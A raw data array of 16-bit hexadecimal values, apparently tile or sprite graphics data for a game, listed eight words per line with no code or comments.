0xF5B9,0x0CD1,0x0C0C,0x730C,0x8154,0x0CC2,0x0C0C,0x6F0C,
0xC0C7,0xC0C0,0xC0C0,0xC0C0,0xC0C7,0xC0C0,0xC0C0,0xC0C0,
0xC7C7,0xC7C7,0xC7C7,0xC7C7,0xC7C7,0xC7C7,0xC7C7,0xC7C7,
0x3D81,0x610C,0xC787,0xC7C7,0x0C43,0x0C0C,0xC724,0xC7C7,
0x0C43,0x0C0C,0xDF24,0xDFDF,0x0C43,0x0C0C,0xDF24,0xDFDF,
0xC0C0,0xC0C0,0xC0C0,0xC0C0,0xC0C0,0xC0C0,0xC0C0,0xC0C0,
0xC7C7,0xC7C7,0xC7C7,0xC7C7,0xC7C7,0xC7C7,0xC7C7,0xC7C7,
0xC7C7,0xC7C7,0xC7C7,0xC7C7,0xC7C7,0xC7C7,0xC7C7,0xC7C7,
0xDFDF,0xDFDF,0xDFDF,0xDFDF,0xDFDF,0xDFDF,0xDFDF,0xDFDF,
0xC0C0,0xC0C0,0xC0C0,0xC0C0,0xC0C0,0xC0C0,0xC0C0,0xC0C0,
0xC7C7,0xC7C7,0xC7C7,0xC7C7,0xC7C7,0xC7C7,0xC7C7,0xC0C7,
0xC7C7,0xC7C7,0xC7C7,0xDFC7,0xC7C7,0xC7C7,0xC7C7,0xF5C7,
0xDFDF,0xDFDF,0xDFDF,0xF5C7,0xDFDF,0xDFDF,0xDFDF,0xDFDF,
0x8181,0x8181,0x8181,0x8181,0x8181,0x8181,0x8181,0x8181,
0x8181,0x8181,0x8181,0x8181,0x1818,0x1818,0x1818,0x1818,
0x1818,0x1818,0x1818,0x1818,0x1818,0xB9B9,0x18B9,0x1818,
0xB9B9,0xB9B9,0xB9B9,0xD6B9,0xD6D6,0xD6D6,0xD6D6,0xD6D6,
0x8181,0x8181,0x8181,0x8181,0x8181,0x8181,0x8181,0x8181,
0x8181,0x8181,0x8181,0x8181,0x1818,0x1818,0x1818,0x1818,
0x1818,0x1818,0x1818,0x1818,0x18B9,0x1818,0xB918,0x18B9,
0xD6D6,0xD6D6,0xD6D6,0xD6D6,0xD6D6,0xD6D6,0xD6D6,0xD6D6,
0x8181,0x8181,0x8181,0x8181,0x8181,0x8181,0x8181,0x8181,
0x8181,0x8181,0x8181,0x8181,0x1818,0x1818,0x1818,0x1818,
0x1818,0x1818,0x1818,0x1818,0xB918,0xB9B9,0xB9B9,0xB9B9,
0xB9D6,0xD6D6,0xB9B9,0xD6D6,0xB9B9,0xD6B9,0xD6D6,0xD6D6,
0x8181,0x8181,0x3D18,0x0C0C,0x8181,0x8181,0x0CCA,0x0C0C,
0x8181,0x8181,0x0C61,0x0C0C,0x8118,0x8118,0x0C3D,0x0C0C,
0xB9B9,0x60B9,0x0C0C,0x0C0C,0xB9B9,0x23B9,0x0C0C,0x0C0C,
0xB9B9,0x23D6,0x0C0C,0x0C0C,0xD6D6,0x92D6,0x0C0C,0x0C0C,
0x3D0C,0x0C87,0x0C0C,0x81C2,0x020C,0x0C81,0x0C0C,0x600C,
0x1873,0x0C81,0x0C0C,0x870C,0x570E,0x0C43,0x0C0C,0xD10C,
0xCFC6,0x0C02,0x0C0C,0xD10C,0xCF94,0x28B9,0x0C6F,0x7B3D,
0x7B4E,0xB918,0xD6B9,0xB9B9,0xB9D6,0xD6D6,0xD6D6,0xD6D6,
0x8181,0x8181,0x6181,0x0C0C,0x8181,0x8181,0x3D81,0x0C0C,
0x8181,0x8181,0x0C87,0x0C0C,0x8181,0x8181,0x0C6F,0x0C0C,
0xB9B9,0xB9B9,0x0CC2,0x0C0C,0xB9B9,0x7B18,0x0C0C,0x3D0C,
0xB9B9,0x28B9,0x0C0C,0x240C,0xD6D6,0x24D6,0x0C0C,0x630C,
0x0C0C,0x0C0C,0x8161,0x8181,0x0C0C,0x0C0C,0x8173,0x8181,
0x0C3D,0x0C0C,0x600C,0x8181,0x736F,0x0C0C,0x870C,0x8181,
0xC287,0x0C0C,0x280C,0xB9B9,0x24B9,0x0C0C,0x020C,0xB9B9,
0xD0D6,0x0C0C,0x240C,0xD6B9,0xD057,0x0C0C,0x730C,0xD6D6,
0xD181,0x0C0C,0x0C0C,0xC20C,0xD181,0x0C0C,0x0C0C,0xD66F,
0xD181,0x0C0C,0x730C,0x7B7B,0xD1B9,0x0C0C,0x730C,0x7B7B,
0xD1B9,0x0C0C,0x730C,0xD07B,0xD1D6,0x0C0C,0x7A0C,0x0C24,
0xD1D6,0x0C0C,0x0C0C,0x0C0C,0xD1D6,0x0C0C,0x0C0C,0x0C0C,
0xD692,0x0CC2,0x0C0C,0xD6D1,0x92D6,0x0C0C,0x0C0C,0x7B92,
0xC27B,0x0C0C,0x730C,0x7B7B,0x0C0E,0x0C0C,0x630C,0x577B,
0x0C0C,0x0C0C,0x7B6F,0x577B,0x0C0C,0x610C,0x7B57,0x5757,
0x0C0C,0x5761,0x5757,0x5757,0xB40C,0x5757,0x5757,0x57FC,
0x0CD1,0x0C0C,0x0C0C,0x92B4,0x0CD1,0x0C0C,0x6F0C,0x7B7B,
0x0CD1,0x0C0C,0x7B73,0x7B7B,0x0CD1,0x0C0C,0x7B73,0x0E7B,
0x0CD1,0x0C0C,0x5773,0x0CD0,0x0CD1,0x0C0C,0x247A,0x0C0C,
0x0CD1,0x0C0C,0x0C0C,0x0C0C,0x0CD1,0x0C0C,0x0C0C,0x0C0C,
0xC27B,0x0C0C,0xD10C,0x7B7B,0x0C92,0x0C0C,0x920C,0x927B,
0x0CB4,0x0C0C,0x7B73,0xD07B,0x0C0C,0x0C0C,0x5763,0x0E57,
0x0C0C,0x6F0C,0x5757,0x6157,0x0C0C,0x5761,0x5757,0x7357,
0x610C,0x5757,0x5757,0x7357,0x57B4,0x5757,0x5757,0x7357,
0x0C7A,0x0C0C,0x3D0C,0x6060,0x0C0C,0x0C0C,0x240C,0xB9B9,
0x0C0C,0x7A0C,0xB9B9,0xB9B9,0x0C0C,0x240C,0xB9B9,0xB9B9,
0x0C0C,0x6F0C,0xB9B9,0xB9B9,0x0C0C,0x020C,0xB9D6,0xB9B9,
0x0C0C,0xCA0C,0xB9B9,0xB9B9,0x0C0C,0xCA0C,0xD6B9,0xD6D6,
0x0C0C,0x240C,0x6181,0x0C0C,0x0CC2,0x3D0C,0x4360,0x0C3D,
0x0C24,0x0C0C,0x5428,0xC2D1,0x0C6F,0x0C0C,0xB902,0x54B9,
0x0C02,0x0C0C,0xB924,0xB9B9,0x0C02,0x0C0C,0xB961,0xB9B9,
0x0C6F,0x0C0C,0xD661,0xB9B9,0x0C24,0x0C0C,0xD661,0xD6D6,
0x0C0C,0x0C0C,0x0C0C,0x020C,0x0C0C,0x0C0C,0x0C0C,0x8143,
0xD102,0x0C0C,0x0C0C,0x8143,0x4354,0x0C0C,0x0C0C,0x5443,
0x23B9,0x0C0C,0x0C0C,0xB923,0x23B9,0x0C0C,0x0C0C,0xB923,
0x23B9,0x0C0C,0x0C0C,0xB923,0x23D6,0x0C0C,0x0C0C,0xB923,
0x0202,0xDFD1,0xDFDF,0xDFDF,0x5454,0x8181,0x8181,0x8181,
0xB981,0x54B9,0x8181,0x8181,0xB981,0xB9B9,0x5454,0x5454,
0x54B9,0xB9B9,0x54B9,0xB9B9,0xB9B9,0xB9B9,0xB9B9,0xB9B9,
0xB9B9,0xB9B9,0xB9D6,0xB9B9,0xB9B9,0xB9B9,0xD6D6,0xB9D6,
0xD1DF,0x0C0C,0x0C0C,0x240C,0xD181,0x0C0C,0x3D0C,0x8187,
0xD181,0x0C0C,0x730C,0x8181,0xD154,0x0C0C,0x730C,0x5454,
0xD1B9,0x0C0C,0x730C,0xB9B9,0xD1B9,0x0C0C,0x730C,0x3DCA,
0xD1B9,0x0C0C,0x0C0C,0x0C0C,0xD1B9,0x0C0C,0x0C0C,0x0C0C,
0x5487,0x8154,0xD1DF,0x0C0C,0x8181,0xB954,0xD154,0x0C0C,
0x8181,0xB981,0xD1B9,0x0C0C,0x5454,0x5454,0xD1B9,0x0C0C,
0xB9B9,0x54B9,0xD154,0x0C0C,0x2373,0xB9B9,0xD1B9,0x0C0C,
0x730C,0xB97B,0xD1B9,0x0C0C,0x0C0C,0xB924,0xD1B9,0x0C0C,
0x0C0C,0xC20C,0xDF87,0x0CC2,0x0C0C,0x816F,0x8781,0x0C0C,
0x730C,0x5454,0xC254,0x0C0C,0x730C,0x5454,0x0C24,0x0C0C,
0x730C,0x0254,0x0C0C,0x0C0C,0x3D0C,0x0C24,0x0C0C,0x610C,
0x0C0C,0x0C0C,0x0C0C,0xB961,0x0C0C,0x0C0C,0xC20C,0xB9B9,
0x0C0C,0xDFD1,0x61DF,0x0C0C,0x0C0C,0x8187,0x6181,0x0C0C,
0x730C,0x8181,0x6181,0x0C0C,0x280C,0x5454,0x6154,0x0C0C,
0xB96F,0xB9B9,0x6154,0x0C0C,0xB9B9,0xB9B9,0x61B9,0x0C0C,
0xB9B9,0xB9B9,0x61B9,0x0C0C,0xB9B9,0xB9B9,0x61B9,0x0C0C,
0x0C0C,0xD161,0xDFDF,0xDFDF,0x020C,0x8181,0x8181,0x8181,
0xCA0C,0x5454,0x5454,0x5454,0xCA0C,0x5454,0x5454,0x5454,
0xCA0C,0x0260,0x5460,0x5454,0x730C,0x0C0C,0x8773,0xB9B9,
0x0C0C,0x0C0C,0x3D0C,0xB923,0x0C0C,0x0C0C,0x0C0C,0xB9D1,
0x61DF,0x0C0C,0x0C0C,0x6F0C,0x6181,0x0C0C,0x0C0C,0xC20C,
0x6154,0x0C0C,0x0C0C,0x0C0C,0x6154,0x0C0C,0x0C0C,0x0C0C,
0x6154,0x0C0C,0x0C0C,0x0C0C,0x61B9,0x0C0C,0x0C0C,0x0C0C,
0x61B9,0x0C0C,0x3D0C,0x0C0C,0x61B9,0x0C0C,0x020C,0x0C0C,
0xDFDF,0x0C73,0x0C0C,0xD6D1,0x8181,0x0C73,0x0C0C,0xFC92,
0x5487,0x0C73,0x0C0C,0xFCC6,0x5402,0x0C73,0x0C0C,0xFCC6,
0x54C2,0x0C73,0x0C0C,0xCFC6,0x600C,0x0C73,0x0C0C,0xCFC6,
0x020C,0x0C73,0x0C0C,0xCFC6,0xC20C,0x0C73,0x0C0C,0xCFC6,
0xD6D6,0x0CD1,0x0C0C,0xC20C,0xFCFC,0x63FC,0x7BD0,0xDF54,
0xFCFC,0xFCFC,0x57FC,0x43D6,0xFCFC,0xFCFC,0xCFCF,0xC257,
0xCFCF,0xCFCF,0xCFCF,0x0C0E,0xCFCF,0xCFCF,0xC6CF,0x0C0C,
0xCFCF,0xCFCF,0x734E,0x0C0C,0xCFCF,0xCFCF,0x0C24,0x0C0C,
0x3D02,0x0C0C,0x0C0C,0xDF02,0x0C02,0x0C0C,0x6F0C,0x5454,
0x0C0C,0x0C0C,0x54C2,0x5454,0x0C0C,0x0C0C,0x5443,0x5454,
0x0C0C,0x020C,0x5454,0x5454,0x0C0C,0xB961,0xB9B9,0xB9B9,
0x3D0C,0xB923,0xB9B9,0xB9B9,0x280C,0xB9B9,0xB9B9,0xB9B9,
0x24DF,0x0C0C,0x610C,0xDFDF,0x2854,0x0C0C,0x0C0C,0x8118,
0x5454,0x0C73,0x0C0C,0x5402,0x5454,0x0C02,0x0C0C,0x5473,
0x5454,0x3D60,0x0C0C,0xCA0C,0xB9B9,0x24B9,0x0C0C,0x3D0C,
0xB9B9,0x23B9,0x0C0C,0x0C0C,0xB9B9,0xB9B9,0x0C24,0x0C0C,
0xCADF,0x0C0C,0x0C0C,0xDF24,0xC281,0x0C0C,0x3D0C,0x8143,
0x0CD1,0x0C0C,0x020C,0x5454,0x0C24,0x0C0C,0x603D,0x5454,
0x0C0C,0x0C0C,0x5424,0x5454,0x0C0C,0x0C0C,0xB923,0xB9B9,
0x0C0C,0x240C,0xB9B9,0xB9B9,0x0C0C,0xD10C,0xB9B9,0xB9B9,
0x0C43,0x0C0C,0xDF24,0xDFDF,0x0C43,0x0C0C,0x8124,0x8181,
0x0C43,0x0C0C,0x5424,0x8154,0x0C43,0x0C0C,0x5424,0x5454,
0x0C43,0x0C0C,0x5424,0x5454,0x0C23,0x0C0C,0xB924,0xB9B9,
0x0C28,0x0C0C,0xB924,0xB9B9,0x0C6F,0x0C0C,0xB924,0xB9B9,
0xDFDF,0xDFDF,0xDFDF,0xDFDF,0x8181,0x8181,0x8181,0x8181,
0x8181,0x8181,0x8181,0x5481,0x5454,0x5454,0x5454,0x5454,
0x5454,0x5454,0x5454,0x5454,0xB9B9,0xB9B9,0xB9B9,0xB9B9,
0xB9B9,0xB9B9,0xB9B9,0xB9B9,0xB9B9,0xB9B9,0xB9B9,0xB9B9,
0xDFDF,0xDFDF,0xDFDF,0xDFDF,0x8181,0x8181,0x8181,0x8181,
0x5454,0x5454,0x5454,0x5454,0x5454,0x5454,0x5454,0x5454,
0x5454,0x5454,0x5454,0x5454,0xB9B9,0xB9B9,0xB9B9,0xB9B9,
0xB9B9,0xB9B9,0xB9B9,0xB9B9,0xB9B9,0xB9B9,0xB9B9,0xB9B9,
0xDFDF,0xDFDF,0xDFDF,0xDFDF,0x8181,0x8181,0x8181,0x8181,
0x5454,0x5454,0x5454,0x8154,0x5454,0x5454,0x5454,0x5454,
0x5454,0x5454,0x5454,0x5454,0xB9B9,0xB9B9,0xB9B9,0xB9B9,
0xB9B9,0xB9B9,0xB9B9,0xB9B9,0xB9B9,0xB9B9,0xB9B9,0xB9B9,
0xD6D6,0xD6D6,0xD6D6,0xD6D6,0xD6D6,0xD6D6,0xD6D6,0xD6D6,
0x7B7B,0x7B7B,0x7B7B,0xD67B,0x7B7B,0x7B7B,0x7B7B,0xD67B,
0x7B7B,0x7B7B,0x7B7B,0xFC7B,0x5757,0x7B57,0x577B,0x944E,
0x5757,0x7B57,0x4E57,0x1194,0x5757,0x5757,0x4784,0x6E11,
0xD6D6,0xD6D6,0xB9D6,0xB9B9,0xD6D6,0xD6D6,0x7BD6,0xFC57,
0xD6D6,0xFC7B,0x844E,0x4794,0xA657,0x9484,0x11A3,0xCE46,
0x4784,0x4611,0x6E6E,0x6E6E,0x46A3,0xA96E,0x6E6E,0x6E6E,
0xA9CE,0x6E6E,0x6E6E,0x6E6E,0x6EA9,0x6E6E,0x6E6E,0x6E6E,
0xD6B9,0xD6D6,0xB9B9,0xD6B9,0xA6FC,0xFCA6,0x57FC,0xD67B,
0xA347,0x47A3,0x9447,0x4E1B,0xCECE,0xCECE,0x46CE,0xA311,
0x6E6E,0x6E6E,0xA96E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,
0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,
0xD6D6,0x23D6,0x0C0C,0x0C0C,0xD6D6,0xD6D6,0x0C7A,0x0C0C,
0x7BFC,0xD6D6,0x0CC2,0x0C0C,0x8494,0x7BA6,0x0CD0,0x0C0C,
0x1146,0x8494,0x0C4E,0x0C0C,0x6EA9,0x4746,0x0E1B,0x0C0C,
0x6E6E,0x14A9,0x1BA3,0x0CB4,0x6E6E,0xA96E,0xA346,0x2484,
0xD6B9,0xD6D6,0xD6D6,0xD6D6,0xD6D6,0xD6D6,0x9228,0xD6D6,
0x7B23,0x7B7B,0x0C7A,0xD161,0x7B63,0xD07B,0x0C0C,0x0C0C,
0x7B6F,0x0CD1,0x0C0C,0xC20C,0xD07A,0x0C0C,0x0C0C,0x920C,
0x0C0C,0x0C0C,0x0C0C,0x57D0,0x0C0C,0x0C0C,0x0E0C,0x5757,
0xD6D6,0x7AD6,0x0C0C,0xB40C,0x23D6,0x0C61,0x0C0C,0x0C0C,
0xD07B,0x0C0C,0x0C0C,0x0C0C,0x2392,0x0C0C,0x0C0C,0x0C0C,
0xD07B,0x0C0C,0x0C0C,0xD07A,0xC27B,0x0C0C,0x0E0C,0xA6A6,
0x0C92,0x0C0C,0xC60C,0xCFCF,0x0CD1,0x0C0C,0xCF73,0xCFCF,
0x0C0C,0x0C0C,0x0C0C,0xD623,0x0C0C,0x0C0C,0x0C0C,0x7B63,
0x0C0C,0x0C0C,0x0C0C,0x570E,0x0C0C,0x0C7A,0x0C0C,0xFCB4,
0xA692,0x0CC6,0x0C0C,0xA60C,0xCFA6,0x7ACF,0x0C0C,0x630C,
0xCFCF,0x61CF,0x0C0C,0x240C,0xCFCF,0xD0CF,0x0C0C,0x0C0C,
0xD1D6,0x0C0C,0x0C0C,0x0C0C,0xD1D6,0x0C0C,0x0C0C,0x0C0C,
0xD17B,0x0C0C,0x730C,0x0C24,0xD157,0x0C0C,0x730C,0x0E57,
0xD157,0x0C0C,0x730C,0x577B,0xD1FC,0x0C0C,0x730C,0x577B,
0xD1FC,0x0C0C,0x730C,0x5757,0x63FC,0x0C0C,0x0C0C,0x5792,
0x0C0C,0x5763,0xFC57,0x57FC,0x0C0C,0x630C,0xFCFC,0x57FC,
0x0C0C,0x0C0C,0xFC63,0xFCFC,0x0C0C,0x0C0C,0x630C,0xFCFC,
0x0C6F,0x0C0C,0x0C0C,0x0524,0xD057,0x0C0C,0x0C0C,0x4E7A,
0x5757,0x0CD0,0x0C0C,0xFCD0,0x5757,0x24FC,0x610C,0xFCFC,
0x0CC6,0x0C0C,0x0C0C,0x0C0C,0x0CC6,0x0C0C,0x0C0C,0x0C0C,
0x0CC6,0x0C0C,0x2473,0x0C0C,0x0CC6,0x0C0C,0xFC73,0x0C0E,
0x0CC6,0x0C0C,0xFC73,0x0EFC,0x0CC6,0x0C0C,0xFC73,0xFCFC,
0x0CC6,0x0C0C,0xFC73,0xFCFC,0x0C63,0x0C0C,0x920C,0xFCFC,
0x630C,0x5757,0x5757,0xB457,0x0C0C,0x5763,0x5757,0x2457,
0x0C0C,0x630C,0x5757,0xD07B,0x0C0C,0x0C0C,0x57CA,0x927B,
0x0C0C,0x0C0C,0x240C,0x7B23,0x0CD0,0x0C0C,0x7A0C,0x7B92,
0xD0FC,0x0C0C,0xD00C,0x5757,0x5757,0x0C24,0x5761,0x5757,
0x0C0C,0x020C,0xD6D6,0xD6D6,0x0C0C,0x6F0C,0xD6D6,0xD6D6,
0x0C0C,0x240C,0xD6D6,0x23D6,0x0C0C,0x7A0C,0x7B7B,0x637B,
0x0C61,0x0C0C,0x7BCA,0x617B,0x0C92,0x0C0C,0xCA7A,0x0C6F,
0x6357,0x0C0C,0x0C0C,0x0C0C,0x5757,0xD023,0x0CB4,0x0C0C,
0x0C61,0x0C0C,0xD624,0xD6D6,0x0C73,0x0C0C,0x7BD0,0xD6D6,
0x0C0C,0x0C0C,0x7B63,0xD67B,0x0C0C,0x0C0C,0x7B23,0x7B7B,
0x0C0C,0x240C,0x7B7B,0x7B57,0x0C0C,0xD10C,0x577B,0x5757,
0x0C0C,0x7B6F,0x5757,0x5757,0x240C,0x5757,0x5757,0x5757,
0x23D6,0x0C0C,0x0C0C,0xD623,0x23D6,0x0C0C,0x0C0C,0xD623,
0x23D6,0x0C0C,0x0C0C,0xD623,0x237B,0x0C0C,0x0C0C,0x7B23,
0x237B,0x0C0C,0x0C0C,0x7B23,0x927B,0x0C0C,0x0C0C,0x7B92,
0xD157,0x0C0C,0x0C0C,0x5792,0x6F57,0x0C0C,0x0C0C,0x57D0,
0xD6D6,0xD6D6,0xD6D6,0xD6D6,0xD6D6,0xD6D6,0xD6D6,0xD67B,
0xD6D6,0xD6D6,0xD6D6,0x7B7B,0x7B7B,0x7B7B,0x7B7B,0x7B7B,
0x7B7B,0x7B7B,0x7B7B,0x7B7B,0x7B7B,0x7B7B,0x7B7B,0x7B7B,
0x5757,0x5757,0x5757,0x5757,0x5757,0x5757,0x5757,0x5757,
0xD1D6,0x0C0C,0x0C0C,0x0C0C,0xD1D6,0x0C0C,0x0C0C,0xC20C,
0xD1D6,0x0C0C,0x7A0C,0xD6D1,0xD17B,0x0C0C,0x730C,0x7B7B,
0xD157,0x0C0C,0x730C,0x7B7B,0xD17B,0x0C0C,0x730C,0x7B7B,
0x057B,0x0C0C,0x7A0C,0x5723,0x5757,0x0C63,0x0C0C,0x57CA,
0x0C0C,0xD624,0xD1D6,0x0C0C,0x28CA,0xD6D6,0xD1D6,0x0C0C,
0xD6D6,0x7BD6,0xD17B,0x0C0C,0x7B7B,0x7B7B,0xC657,0x0C0C,
0x7B7B,0x577B,0xC6FC,0x0C0C,0x7B7B,0xFC57,0xC64E,0x0C0C,
0x5757,0xA657,0x1C84,0x0C0C,0x5757,0x4EFC,0x1C94,0x0C0C,
0x0C0C,0x0C0C,0x0C0C,0xD6CA,0x0C0C,0x0C0C,0x0C0C,0xCA0C,
0x730C,0x0C24,0x0C0C,0x0C0C,0x730C,0x247B,0x0C0C,0x0C0C,
0x730C,0x7B57,0x0C6F,0x0C0C,0x730C,0x57A6,0xD07B,0x0C0C,
0x730C,0xFCA6,0x7B57,0x0CCA,0x0C0C,0xFCC6,0x5757,0x2457,
0xD6D6,0xD6D6,0x61D6,0x0C0C,0xD6D6,0xD6D6,0x61D6,0x0C0C,
0xD6CA,0xD6D6,0x61D6,0x0C0C,0xCA0C,0x7B7B,0x617B,0x0C0C,
0x0C0C,0x2324,0x617B,0x0C0C,0x0C0C,0x237A,0x617B,0x0C0C,
0x0C0C,0x57D0,0x61FC,0x0C0C,0x610C,0x944E,0x1C47,0x0CB4,
0x0C0C,0x240C,0xD628,0xD6D6,0x240C,0xD623,0xD6D6,0xD6D6,
0xCA0C,0xD6D6,0x23D1,0xD6D6,0xCA0C,0xC263,0x7A0C,0x7BD1,
0x7A0C,0x0C0C,0x0C0C,0xD00C,0x0C0C,0x0C0C,0x0C0C,0x610C,
0x0C0C,0x0C0C,0xD00C,0x23D0,0x0C0C,0xE10C,0x8447,0x57A6,
0x61D6,0x0C0C,0xCA0C,0x0C61,0x61D6,0x0C0C,0xCA0C,0x0C28,
0x61D6,0x0C0C,0xCA0C,0x7AD6,0x617B,0x0C0C,0xCA0C,0xD07B,
0x617B,0x0C0C,0xCA0C,0x237B,0x737B,0x0C0C,0xD00C,0x7B7B,
0x0C23,0x0C0C,0xC20C,0x7B7B,0x237B,0xB4D0,0x610C,0x5757,
0x0C0C,0x0C0C,0x0C0C,0xCFC6,0x0C0C,0x0C0C,0x0C0C,0xD3C6,
0x0C0C,0x0C0C,0x0C0C,0xD3C6,0x0C0C,0x0C0C,0x0C0C,0xD3C6,
0x0C0C,0x0C0C,0x0C0C,0x84C6,0x0C61,0x0C0C,0x0C0C,0xCFC6,
0x0CD0,0x0C0C,0x0C0C,0x57CA,0xB492,0x0C0C,0x0C0C,0x7BCA,
0xCFCF,0x63CF,0x0C0C,0x0C0C,0xD3D3,0x7A84,0x0C0C,0x730C,
0xD3D3,0x0CB4,0x0C0C,0xD10C,0x0ED3,0x0C0C,0x0C0C,0x7B0E,
0x0C0E,0x0C0C,0x0C0C,0x0C0C,0x0C0C,0x0C0C,0x0C0C,0x0C0C,
0x0C24,0x0C0C,0x0C0C,0x0C0C,0x0C92,0x0C0C,0x0C0C,0x0C0C,
0xB924,0xD6D6,0xD6D6,0xD6D6,0xD623,0xD6D6,0xD6D6,0xD6D6,
0xD6D6,0xD6D6,0xD6D6,0xD6D6,0xD0D0,0x0C6F,0x23C2,0x7B7B,
0x0C0C,0x0C0C,0xD00C,0x7B7B,0x0C0C,0x0C0C,0xC20C,0xD67B,
0x0C0C,0x0C0C,0x7A0C,0xA67B,0xD073,0xD0D0,0xD1D0,0xA384,
0xD6D6,0xD6D6,0x0C23,0x0C0C,0xD6D6,0xD6D6,0x24D6,0x0C0C,
0xD6D6,0xD6D6,0xD0D6,0x0C0C,0x7B7B,0xD6D6,0xC2D6,0x0C0C,
0xD6D6,0x7BD6,0x0C05,0x0C0C,0xFC7B,0x1B4E,0x0CE1,0x0C0C,
0x471B,0x11A3,0x0C7A,0x0C0C,0x1111,0x4611,0x0CE1,0x0C0C,
0x0C0C,0xD673,0xD6D6,0xD6D6,0x0C0C,0xD6D0,0xD6D6,0xD6D6,
0x0C0C,0xD623,0xD6D6,0xD6D6,0x240C,0x7BD6,0x7B7B,0x7B7B,
0x630C,0xD6D6,0x7BD6,0x7B7B,0x840C,0x574E,0xD67B,0x7B7B,
0x080C,0x9447,0x5784,0x7B7B,0x080C,0x1111,0x94A3,0x7BA6,
0x617B,0x0C0C,0xD624,0xD6D6,0xD6D6,0x61CA,0xD66F,0xD6D6,
0xD6D6,0xD6D6,0xD6D6,0xD6D6,0xD023,0x92D0,0xD6D6,0xD6D6,
0x0C23,0x0C0C,0x7B6F,0x7B7B,0x0C92,0x0C0C,0x7B61,0x7B7B,
0x0C92,0x0C0C,0x7B24,0x577B,0x0CD0,0x0C0C,0x5724,0x5757,
0xD6D6,0xD6D6,0xD6D6,0xD6D6,0xD6D6,0xD6D6,0xD6D6,0xD6D6,
0xD6D6,0xD6D6,0xD6D6,0xD6D6,0xD6D6,0xD6D6,0xD6D6,0xD6D6,
0x7B7B,0x7B7B,0x7B7B,0x7B7B,0x7B7B,0x5757,0x5757,0x5757,
0x5757,0x5757,0xFCFC,0xFCFC,0xFCFC,0xFCFC,0xFCFC,0xA6A6,
0xD6D6,0xD6D6,0xD6D6,0xD6D6,0xD6D6,0xD6D6,0xD6D6,0xD6D6,
0xD6D6,0xD6D6,0xD6D6,0xD6D6,0xD6D6,0xD6D6,0xD6D6,0xD6D6,
0x7B7B,0x7B7B,0x7B7B,0x7B7B,0x7B7B,0x7B7B,0x7B7B,0x7B7B,
0x7B57,0x7B7B,0x7B7B,0x7B7B,0x5757,0x5757,0x5757,0x5757,
0x5757,0x4E57,0x1194,0x6E6E,0x7B7B,0x474E,0x6E11,0x6E6E,
0x944E,0x4611,0x6E6E,0x6E6E,0x4611,0xCE46,0x6E6E,0x6E6E,
0x4611,0x6ECE,0x6E6E,0x6E6E,0xEA46,0x6ECE,0x6E6E,0x6E6E,
0xCECE,0x6ECE,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,
0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,
0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,
0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,
0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,
0x6E6E,0x6E6E,0x466E,0x4E47,0x6E6E,0x6E6E,0x6E6E,0x1B11,
0x6E6E,0x6E6E,0x6E6E,0x9446,0x6E6E,0x6E6E,0x6E6E,0xA3CE,
0x6E6E,0x6E6E,0x6E6E,0x116E,0x6E6E,0x6E6E,0x6E6E,0x11CE,
0x6E6E,0x6E6E,0x6E6E,0x6ECE,0x6E6E,0x6E6E,0x6E6E,0x6E6E,
0xD005,0x0C7A,0x57D0,0x5757,0x57FC,0xFCFC,0xFCFC,0x5757,
0xA6D3,0x4E4E,0x4E4E,0xFCA6,0x841B,0x471B,0x9447,0x841B,
0x1147,0x6ECE,0xCE6E,0xA346,0xA9CE,0x6EA9,0xA96E,0x6EA9,
0x6EA9,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,0x6E6E,
0x4E57,0x0C6F,0xCFD0,0xCFCF,0xFCFC,0xFCFC,0xCFA6,0xD3D3,
0xFCFC,0xFCFC,0xA6FC,0xD3D3,0xA64E,0xFCFC,0xFCFC,0xA6A6,
0x8494,0xFCA6,0xFCFC,0xA6A6,0x1146,0x9447,0x1B94,0x841B,
0xCE6E,0x1146,0xA311,0x9447,0xCE6E,0x1146,0x1111,0x1111,
0xCFCF,0xCFCF,0xB4D0,0x7A0C,0xD3D3,0xD3D3,0xD3D3,0xFCCF,
0xD3D3,0xD3D3,0xD3D3,0xFCA6,0xD3D3,0xD3D3,0xA6CF,0xFCFC,
0xA6A6,0xA6A6,0xA6A6,0xA6A6,0xD384,0x4ED3,0xA6A6,0xA6A6,
0x841B,0x8484,0x8484,0xD3D3,0x1111,0xA311,0x1B94,0xD384,
0x57FC,0xD005,0xD0D0,0x5723,0xFCFC,0xFCFC,0xFC57,0xFCFC,
0xFCFC,0xFCFC,0xFCFC,0xFCFC,0xFCFC,0xFCFC,0xFCFC,0xFCFC,
0xA6A6,0xA6A6,0xA6A6,0xA6A6,0xA6A6,0xA6A6,0xA6A6,0xA6A6,
0xD3CF,0xD3D3,0xCFD3,0xD3D3,0xCFCF,0xD3D3,0xD3D3,0xD3D3,
0x5757,0x57FC,0x57D0,0x5757,0xFCFC,0x57FC,0xFCFC,0xFCFC,
0xA6FC,0xFCFC,0xFCFC,0xFCFC,0xA6A6,0xFCFC,0xFCFC,0xFCFC,
0xA6A6,0xA6A6,0xA6A6,0xA6A6,0xA6D3,0xA6A6,0xA6A6,0xA6A6,
0xCFD3,0xD3D3,0xD3D3,0xD3D3,0xD3D3,0xD3D3,0xD3D3,0xD3D3,
0x0557,0xD0D0,0x05D0,0x5757,0xFCFC,0xFCFC,0xFCFC,0x57FC,
0xFCFC,0xFCFC,0xFCFC,0xFCFC,0xFCFC,0xFCFC,0xFCFC,0xFCFC,
0xA6A6,0xA6A6,0xA6A6,0xA6A6,0xA6A6,0xA6A6,0xA6A6,0xA6A6,
0xD3D3,0xD3D3,0xCFD3,0xD3D3,0xD3D3,0xD3D3,0xD3D3,0xD3D3,
0x5757,0xCA57,0x5757,0x5757,0xFCFC,0xFCFC,0xFCFC,0xFCFC,
0xFCFC,0xFCFC,0xFCFC,0xFCFC,0xFCFC,0xFCFC,0xFCFC,0xFCFC,
